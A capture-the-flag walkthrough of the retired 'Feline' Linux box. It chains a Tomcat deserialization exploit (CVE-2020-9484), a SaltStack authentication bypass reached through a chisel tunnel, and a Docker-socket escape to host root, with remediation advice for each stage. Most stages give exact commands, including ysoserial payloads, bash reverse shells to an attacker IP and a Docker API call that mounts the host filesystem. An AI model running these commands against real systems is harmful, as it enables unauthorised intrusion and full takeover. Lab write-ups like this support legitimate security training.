← all walkthroughs

Feline

Linux· Hard
owned
2026-07-11
time to own
13m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target feline ($TARGET) was fully compromised from an unauthenticated network position to root in three chained stages. A publicly accessible Apache Tomcat 9.0.27 instance hosted a file-upload application that stored files under my own filenames; combined with a Java deserialization flaw in Tomcat's session-persistence feature (CVE-2020-9484), this produced remote code execution as the tomcat service account.

Local port enumeration revealed an unpatched SaltStack salt-master bound exclusively to the loopback interface; a chisel port-forward tunnel exposed it to me, and an authentication-bypass vulnerability (CVE-2020-11651/CVE-2020-11652) gave arbitrary command execution inside a Docker container running as root. That container had the host Docker socket mounted inside it; by querying the Docker API directly over the socket, I created a new container mounting the entire host filesystem, chroot'd into it, and executed a shell as root on the underlying host — achieving complete system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1EnumerationService enumeration and version fingerprinting (T1046)
Mapped open services and identified the vulnerable Tomcat application
A full TCP scan of $TARGET found two open ports: SSH on 22/tcp and Apache Tomcat 9.0.27 on 8080/tcp. Browsing port 8080 revealed a 'VirusBucket' malware-analysis upload application at /service/. The exact Tomcat version was confirmed in the HTTP server banner, placing it squarely in the vulnerable range for CVE-2020-9484 (affects ≤9.0.35).
Nmap confirmed 8080/tcp Apache Tomcat 9.0.27; curl to /service/ returned the file-upload form with an 'Analyze!' button.
Exact commands 2
Full TCP port scan with service/version detection to identify all exposed services.
nmap -Pn -p- --min-rate 5000 -T4 -sV $TARGET
Fetch the web application to identify the upload form and application behavior.
curl -sS -L http://$TARGET:8080/service/
2ExploitationJava deserialization RCE via CVE-2020-9484 (Tomcat session persistence)
Exploited CVE-2020-9484 to execute a reverse shell as the tomcat service account
Tomcat 9.0.27's FileStore-backed session-persistence feature deserializes session files referenced by the JSESSIONID cookie. The upload form wrote files verbatim to /opt/samples/uploads/ using my own filename. A ysoserial CommonsCollections2 gadget-chain payload (CC2 was confirmed functional via an out-of-band HTTP callback before triggering the shell) was saved as 'f.session' and uploaded. Sending JSESSIONID=../../../../../../../opt/samples/uploads/f caused Tomcat to append '.session' and deserialize the uploaded payload, executing a base64-encoded bash reverse shell and landing a foothold as tomcat.
OOB HTTP callback to my port 8080 confirmed CC2 chain fires; reverse shell caught on port 4444 as uid=1000(tomcat).
Exact commands 4
Start the reverse-shell listener on my machine before uploading the payload.
nc -lvnp 4444
Generate the deserialization payload. Replace <BASE64_REVSHELL> with base64('bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1'). First test with a curl/ping callback to confirm CC2 fires before triggering the shell.
java -jar ysoserial.jar CommonsCollections2 'bash -c {echo,<BASE64_REVSHELL>}|{base64,-d}|{bash,-i}' > f.session
Upload the payload; Tomcat writes it verbatim to /opt/samples/uploads/f.session.
curl -sS -F 'file=@f.session;filename=f.session' http://$TARGET:8080/service/
Trigger deserialization: Tomcat appends .session and deserializes the uploaded gadget chain, executing the reverse shell.
curl -s http://$TARGET:8080/ -H 'Cookie: JSESSIONID=../../../../../../../opt/samples/uploads/f'
FixPatch Tomcat to 9.0.36+ and sanitize upload filenames to eliminate the deserialization RCE primitiveCritical
WeaknessApache Tomcat 9.0.27 was deployed unpatched. Its FileStore session-persistence feature deserializes session files by path when the JSESSIONID cookie contains a traversal sequence. The file-upload application compounded this by writing files to disk under the exact filename supplied by the uploader — giving an unauthorised user both the write-to-known-path primitive and the deserialization trigger needed for CVE-2020-9484 remote code execution.
Fix1. Upgrade Apache Tomcat to 9.0.36 or later, which removes the path-traversal in session file lookup. 2. If FileStore session persistence is not required, disable the PersistentManager entirely in context.xml. 3. Enforce a strict filename allowlist on all uploads — accept only alphanumeric characters plus a whitelisted extension; strip all path separators and dot-sequences before writing to disk. 4. Remove unused deserialization gadget libraries (e.g. commons-collections) from the application classpath to eliminate available gadget chains even if a future traversal is found.
3FootholdPost-exploitation objective collection
Established interactive shell as tomcat and captured the user flag
The reverse shell connected as uid=1000(tomcat). The user flag was located at /home/tomcat/user.txt and read directly from the foothold session.
Shell returned uid=1000(tomcat); user.txt read from /home/tomcat/user.txt.
Exact commands 1
Confirm shell identity and locate/read the user flag.
id; find / -name user.txt -type f -readable 2>/dev/null -exec sh -c 'echo FILE:$1; cat "$1"' _ {} \;
4DiscoveryInternal network service discovery (T1049)
Identified a SaltStack salt-master listening internally on loopback
Enumerating listening network connections from the tomcat shell revealed TCP ports 4505 and 4506 bound exclusively to 127.0.0.1 — the SaltStack salt-master's ZeroMQ message bus and API ports. These were completely inaccessible from outside the host, requiring a tunnel to interact with them.
Ss -lntp showed 127.0.0.1:4505 and 127.0.0.1:4506 in LISTEN state.
Exact commands 2
From the tomcat reverse shell — confirm the SaltStack ports are listening on loopback only.
ss -lntp | grep -E ':4505|:4506'
Read the salt-master config to identify version and any additional settings.
cat /etc/salt/master 2>/dev/null; ls /etc/salt/ 2>/dev/null
5Lateral MovementSaltStack CVE-2020-11651/CVE-2020-11652 authentication bypass and RCE (T1210)
Tunneled to the salt-master and exploited CVE-2020-11651/11652 for root RCE inside a Docker container
A chisel reverse port-forward tunnel exposed the internal salt-master port 4506 as local port 14506. The jasperla CVE-2020-11651-poc exploit leveraged an authentication-bypass in SaltStack's ZeroMQ message bus (CVE-2020-11651) — extracting the master's AES root key without credentials — combined with a directory-traversal read primitive (CVE-2020-11652). Using the unauthenticated publish/schedule interface, arbitrary commands were executed as root inside the Docker container hosting the salt-master.
[+] Checking if vulnerable to CVE-2020-11651... YES; root key obtained: [REDACTED: recovered credential]; command jobs accepted and scheduled by the master.
Exact commands 4
Run on my machine to accept the reverse tunnel connection from the target.
chisel server --reverse --port 9001
Run on the target (tomcat shell). Setsid ensures the tunnel survives shell exit. Replace $ATTACKER_IP with your IP.
setsid -f ./chisel client $ATTACKER_IP:9001 R:14506:127.0.0.1:4506 &
Set up the salt exploit environment in a fresh venv to avoid system pip conflicts. Set TMPDIR to a writable path if needed.
git clone https://github.com/jasperla/CVE-2020-11651-poc && cd CVE-2020-11651-poc && python3 -m venv saltvenv && saltvenv/bin/pip install salt looseversion distro
Confirm RCE as root inside the salt-master Docker container. Output should show uid=0(root).
saltvenv/bin/python exploit.py --master 127.0.0.1 --port 14506 --exec 'id'
FixPatch SaltStack and restrict salt-master port access to trusted hosts onlyCritical
WeaknessThe SaltStack salt-master was running an unpatched version vulnerable to CVE-2020-11651 (unauthenticated ZeroMQ message-bus access allowing the master AES root key to be extracted) and CVE-2020-11652 (directory-traversal file read). Together these allowed anyone who could reach port 4506 — even via a local tunnel from a compromised process — to run arbitrary commands as the salt-master process without supplying any credentials.
Fix1. Upgrade SaltStack to version 2019.2.4, 3000.2, or later where both CVEs are patched. 2. Restrict ports 4505 and 4506 via host firewall (iptables/nftables) so only known, trusted salt-minion IP addresses can connect — these ports should never be reachable from untrusted processes or network segments, even via localhost unless specifically required. 3. Run the salt-master as a dedicated non-root service account; apply systemd hardening (PrivilegeEscalation=no, CapabilityBoundingSet=) to limit blast radius if compromised again. 4. Enable salt's publisher_acl to restrict which minions can receive which commands.
6Privilege EscalationDocker socket container escape to host root (T1611)
Escaped the Docker container via the exposed Docker socket to gain root on the host
Reading /root/todo.txt and root's .bash_history via the CVE-2020-11652 directory-traversal primitive (or direct file read through the RCE) revealed /var/run/docker.sock mounted inside the container. Using the salt RCE as a command proxy, the Docker daemon was queried over the socket. A new container was created with the host root filesystem mounted read-write at /mnt and a command that chroot'd into /mnt and spawned a reverse bash shell. Starting that container caused Docker to execute the chroot'd shell as uid=0 on the underlying host machine, completely outside the original container.
Curl --unix-socket /var/run/docker.sock /images/json returned 'sandbox' image; container create/start via Docker API produced uid=0(root) reverse shell with /root/root.txt accessible.
Exact commands 5
Confirm the Docker socket is accessible from within the container.
saltvenv/bin/python exploit.py --master 127.0.0.1 --port 14506 --exec 'ls -la /var/run/docker.sock'
List available Docker images via the socket API to identify the image name to use (e.g. 'sandbox').
saltvenv/bin/python exploit.py --master 127.0.0.1 --port 14506 --exec 'curl -s --unix-socket /var/run/docker.sock http://localhost/images/json'
Start a second reverse-shell listener on my for the host-root shell.
nc -lvnp 4446
Create a container mounting host / at /mnt with a chroot reverse shell command. Replace $ATTACKER_IP. Note the container ID returned.
saltvenv/bin/python exploit.py --master 127.0.0.1 --port 14506 --exec "curl -sS --unix-socket /var/run/docker.sock -H 'Content-Type: application/json' -X POST -d '{\"Image\":\"sandbox\",\"Cmd\":[\"/bin/sh\",\"-c\",\"chroot /mnt bash -c \\\"bash -i >& /dev/tcp/$ATTACKER_IP/4446 0>&1\\\"\"],\"HostConfig\":{\"Binds\":[\"/:/mnt:rw\"]}}' http://localhost/containers/create"
Start the container to execute the chroot shell. Replace <container_id> from the previous create response.
saltvenv/bin/python exploit.py --master 127.0.0.1 --port 14506 --exec "curl -sS --unix-socket /var/run/docker.sock -X POST http://localhost/containers/<container_id>/start"
FixRemove the Docker socket bind-mount from all containers that do not strictly require direct daemon accessCritical
WeaknessThe Docker socket (/var/run/docker.sock) was bind-mounted read-write into the salt-master container. Any process inside a container that can write to this socket has unrestricted control over the Docker daemon on the host — it can create containers that mount and modify the host filesystem, run arbitrary commands as root on the host, and completely bypass container isolation. This single misconfiguration nullified all other container-boundary protections.
Fix1. Audit every running container for socket mounts: docker inspect --format '{{ .HostConfig.Binds }}' $(docker ps -q) — remove /var/run/docker.sock from any container that does not have a documented, essential need. 2. Where a container legitimately needs Docker API access (e.g. a CI runner), use a restricted socket proxy (e.g. Tecnativa/docker-socket-proxy) that allows only the specific API calls required and blocks container-create/start. 3. Enforce least-privilege defaults for all containers: --read-only filesystem, --cap-drop=ALL, --security-opt=no-new-privileges, and user namespaces so container root does not map to host root. 4. Deploy a runtime security tool (Falco, Sysdig Secure) with rules that alert on unexpected Docker API calls originating from inside containers.
7Full CompromisePost-exploitation objective collection
Read the root flag confirming complete host ownership
The reverse shell on port 4446 returned with uid=0(root) running directly on the host machine (confirmed by hostname matching the target, not a container). The root flag was read from /root/root.txt, confirming full, unrestricted compromise of feline.
Shell on port 4446 showed uid=0(root); hostname matched feline; root.txt read from /root/root.txt.
Exact commands 1
Confirm root identity on the host and capture the root flag. Expected output: uid=0(root), root.txt = <root.txt>.
id; hostname; cat /root/root.txt

Attack patterns used

The transferable techniques behind this compromise.

Insecure DeserializationWeb · Service RCET1190

What it is

Applications that deserialize externally controlled data (Java, .NET, PHP, Python pickle) can be driven to instantiate 'gadget chains' — sequences of existing classes whose side effects during deserialization culminate in code execution. ysoserial/ysoserial.net generate the payloads; ViewState and Java RMI/JMX are common entry points.

Why it works

Deserializers reconstruct arbitrary object graphs and invoke magic methods on untrusted input. Remediate by avoiding native deserialization of untrusted data, using signed/encrypted state, and enforcing strict type allow-lists.

Read more

Exposed services

22/tcp
8080/tcp